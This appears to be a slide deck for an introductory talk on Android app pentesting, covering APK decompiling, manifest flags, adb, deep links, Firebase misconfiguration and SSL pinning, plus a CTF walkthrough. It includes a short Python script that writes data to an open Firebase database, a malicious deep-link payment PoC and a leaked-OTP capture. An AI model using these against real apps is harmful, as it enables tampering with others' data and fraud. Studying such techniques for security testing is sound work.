# Introduction to Android Application Pentesting



# Hello!!

- Security Engineer
- Bug Bounty Hunter
- Former SOC Analyst
- Photographer | instagram.com/mohammed\_shine




#### **Some Statistics**

- 25% of mobile apps include at least one high risk security flaw.
- 35% of mobile communications are unencrypted.
- MOBILE MALWARE INCIDENTS HAVE DOUBLED (JOKER)

# What we hope to cover today

- ANDROID
- APK
- VULNERABILITIES
- TOOLS
- SAST
- DAST
- POC

#### **Android Architecture**



# What is an APK?

MYAPP.APK

ANDROIDMANIFEST.XML

META-INF/

CLASSES.DEX

LIB/
RESOURCES.ARSC

#### **Tools**

- A ROOTED ANDROID DEVICE/EMULATOR AND ADB TOOLS
  - AVD, GENYMOTION...
  - ADB tools
- A WEB PROXY TOOL
  - Charles Proxy, BurpSuite

- Decompiling tools
  - APK Tool
  - DEX2JAR
  - JD GUI
  - MosSF

# Methodology

- INTERCEPT THE TRAFFIC FROM APPLICATION TO IT'S SERVER
  - Test Server side Access Controls
  - PRIVILEGE ESCALATION BY MANIPULATING PARAMETERS
  - Authentication flaws
- Decompile the android application
  - DENTIFY FLAWS IN THE NATIVE CODE
  - Bypass security controls like SSL pinning

# Methodology(Contd.)

- CHECK ANDROID LOCAL STORAGE FOR SENSITIVE INFORMATION LEAKAGE
  - IN APPLICATION DIRECTORIES
  - Local Databases
  - Logs

# **VULNERABILITIES**

#### **OWASP TOP 10**



# Improper Platform Usage(M1)

Misuse of a platform feature or failure to use platform security controls.

#### Might include:

- Android intents,
- Misuse of Fingerprint Sensors,
- Misuse of other security controls.
- Ex. Citrix Worx App

# Insecure Data Storage(M2)

# Security firm says flaw in Tinder dating app exposed users' exact locations

FEBRUARY 20, 2014 / 6:00 AM / CBS NEWS





```
"status":200,
"results":{
 "bio":"",
 "name": "Anthony",
 "birth_date":"1981-03-16T00:00:00.000Z",
 "gender":0,
 "ping_time":"2013-10-18T18:31:05.695Z",
 "photos":[
 //cut to save space
 "id": "52617e698525596018001418",
 "common_friends":[
 "common_likes":[
 "common_like_count":0,
 "common_friend_count":0,
 "distance mi":4.760408451724539
```

# **Insecure Communication**

- Poor handshaking/weak negotiation, (f. ex. lack of certificate pinning)
- Incorrect SSL versions,
- Cleartext communication of sensitive assets
- •HTTP instead of HTTPS

News Reviews Safety&Prevention Technology Trends


# MiSafes Child-Tracking Smartwatches Can be Easily Hacked by Criminals

By Sam Draper - 26. November 2018


#### **Insecure Authentication**


- •Weakness in session management
- Lack of rate limiting
- Attacking client side javascript components

# **Phases**



# **Information Gathering**





#### **SAST**

#### **Static Application Security Testing**

Reversing

Jadx - https://github.com/skylot/jadx/releases/tag/v1.1.0

JdGUI - https://github.com/java-decompiler/jd-gui

**APKTool** - https://github.com/iBotPeaches/Apktool

**DEX2JAR** - https://github.com/pxb1988/dex2jar

#### **STRINGS.XML**

- A string resource provides text strings for your application with optional text styling and formatting.
- There are three types of resources that can provide your application with strings:
  - String
  - String Array
  - Quantity Strings

#### POC:1

```
<?xml version="1.0" encoding="utf-8"?>
<resources>
    <string name="string_name">text_string</string>
</resources>
```

#### **POC2: LevelUP CTF**

```
root@localhost:~/Desktop#
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.4.1-dirty on communications.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
```

#### POC

```
public void forgotPassword(View view) throws IOException {
64.
              EditText username = (EditText) findViewById(R.id.username);
              if (username.getText() != null && !username.getText().toString().isEmpty()) {
66.
                  OkHttpClient webclient = new OkHttpClient();
67.
                  RequestBody post_body = new FormBody.Builder().add("username", username.getText().toString()).build();
68.
                  Request.Builder builder = new Request.Builder();
69.
                  webclient.newCall(builder.url(this.URL + "/d41d8cd98f00b204e9800998ecf8427e/8cd98f00b204e9800998/forgotpassword").post(post_body).build()).execute().code();
70.
71.
          public void encryptedChat() {
74.
              String key = getApplicationContext().getString(R.string.encrypted_chat_key);
75.
              new OkHttpClient();
76.
              Request.Builder builder = new Request.Builder();
              Request build = builder.url(this.URL + "/fa694c73da13c94e49cc82b/06a28bdb78b6c02e16862a3/chat").header("3NCRYPT3D-CH4T", key).build();
78.
```

# POC(Contn.)

```
<string name="abc_toolbar_collapse_description">Collapse</string>
<string name="app_name">LevelUp</string>
<string name="encrypted_chat_key">8b0955d2682eb74347b9e71ea0558c67</string>
<string name="flag">FLAG{a445c73c8cb97421d1923a8c51c221fd}</string>
```

#### **ANDROIDMANIFEST.XML**

The AndroidManifest.xml file describes essential information about your app to the Android build tools, the Android operating system, and Google Play. It plays an important role for every android application. In this file the android developer determines the permissions that the application will require, actions that the application can perform and general other activities

#### **ANDROIDMANIFEST.XML**

- Package Name
- The components of the app, which include all activities, services, broadcast receivers, and content providers.
- The permissions that the app needs in order to access protected parts of the system or other apps.
- The hardware and software features the app requires, which affects which devices can install the app from Google Play.

#### **DEBUGGABLE FLAG**

- The android:debuggable attribute defines whether the application can be debugged or not.
- If an Application is marked as debuggable then an attacker can access the application data by assuming the privileges of that application and can even run arbitrary code under that application permission.
- In the case of non-debuggable application, attacker would first need to root the device to extract any data.

# CODE

<application

android:debuggable="true"

</application>

#### **ALLOWBACKUP FLAG**

- The android:allowBackup attribute defines whether application data can be backed up and restored by a user who has enabled usb debugging.
- If backup flag is set to true, it allows an attacker to take the backup of the application data via adb even if the device is not rooted. Therefore applications that handle and store sensitive information such as card details, passwords etc.
- should have this setting explicitly set to **false** because by default it is set to **true** to prevent such risks.

# CODE

<application

android:allowBackup="true"

</application>

#### **ADB**

The Android Debug Bridge (ADB) is a versatile command line tool that lets you communicate with and control an Android-powered device over a USB link from a computer. It comes along with other useful tools and code bundled with the Android Software Development Kit (SDK).

#### **ADB Commands**

- adb shell launches a shell on the device.
- adb push <local> <remote> pushes the file <local> to
   <remote>
- adb pull <remote> [<local>] pulls the file <remote> to
   <local>
- adb logcat allows you to view the device log in real-time.
- adb install <file> installs the given .apk file to your device


# **ADB BACKUP**

Read Sensitive Data in a non-rooted phone.

#### **ADB LOGCAT**

```
W/GLSUser ( 1416):          at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112)
W/GLSUser ( 1416):          at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587)
W/GLSUser ( 1416):          at scz.run(:com.google.android.gms@201817013@20.18.17 (020700-311416286):0)
W/GLSUser ( 1416):          at java.lang.Thread.run(Thread.java:818)
E/diva-log( 4254): Error while processing transaction with credit card: 12345611111
W/AudioTrack( 577): AUDIO_OUTPUT_FLAG_FAST denied by client
I/PlayCommon( 3978): [321] auke.h(22): Preparing logs for uploading
I/PlayCommon( 3978): [321] auke.h(132): Connecting to server for timestamp: https://play.googleapis.com/play/log/timestamp
```

#### **MOBSF**



#### **DeepLinks**

- Deep linking is a method for launching a native mobile apps via a link
- It connects a unique URL to a definite action in mobile app, seamlessly linking to relevant content.

```
<data android:host="user" android:pathPrefix="/"
android:scheme="abcd"/>
<data android:host="user" android:pathPrefix="/"
android:scheme="abcde"/>
```

#### abcd://user/user-id or abcde://user/user-id

```
<html>
<a href="abcd://user/user-id/follow">Demo</a>
</html>
```

#### **PoC**


coin://<attacker's bitcoin address>/amount

coinbase

#### **Firebase**

- Firebase is a Backend-as-a-Service BaaS that started as a YC11 startup and grew up into a next-generation app-development platform on Google Cloud Platform.
- It's a DataBase, Authentication, File Storage(CDN), Fully
   Functional App Platform
- URL Location: res/values/strings.xml

#### **Firebase**



## redacted.firebaseio.com/.json

#### **Not Vulnerable**

```
{
  "error" : "Permission denied"
}
```

#### **Exploit**

```
import requests
data = '{ "Exploit": "Successful", "NAME": "Hacked", "Data": "Open firebasedb" }'
response = requests.put('https://redacted.firebaseio.com/test/shine.json', data=data)
print "Exploit Successful"
```

Credits: Muhammed Khizer Javed

#### **Output**


#### **DAST**

- Dynamic Application Security Testing
- Black Box
- Running Application is required

# **Dynamic Analysis**



## Genymotion





#### **Proxy**




```
True ( 70 to 12 to 13 to 14 to 15 to
```

### **Network Settings**





### **Capturing Request**



### **Installing Burp's CA Certificate**

- Open <a href="http://burpsuite">http://burpsuite</a> in the mobile's web browser
- Rename the certificate with the extension .cer
- Open Settings > User Certificates > Install from device storage

#### **SSL Pinning**

SSL Pinning is a technique that is used in the client side to avoid man-in-the-middle attack by validating the server certificates again even after SSL handshaking. The developers embed (or pin) a list of trustful certificates to the client application during development, and use them to compare against the server certificates during runtime.

# **SSL Pinning**



## **Proof of Concept**

## PoC



## PoC




#### PoC(OTP Leak)

```
POST /vl/signin HTTP/1.1
Content-Type: application/json; charset=UTF-8
Content-Lenoth: 40
Host: .com
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/4.2.2

{
    "name":"Shine",
    "phone":"+5
}
```

```
"quarantine":{
   "homeLocation":[
   "activeAlert":false
 "likes":[
 "dislikes":[
 " coordinates":[
 "active":true.
 "verified":false,
 "certified":false.
 "visible":true,
 "documents":[
 "usertype": "individual",
 "type":[
 "quarantineAdmin":false,
 "migrated":false,
 " id":
 "name": "Shine",
 "phone": "8
 "countryCode":"+91",
 "otp": "764922",
 "referralCode":" " ",
 "Whistles":[
 "emergencyContacts":[
 "createdAt": "2020-11-06T20:40:40.192Z".
 "updatedAt": "2020-11-06T20:40:40.192Z",
 "_v":0,
 "id":
"success":true
```

## PoC(Email Verification)



# Thank you !!!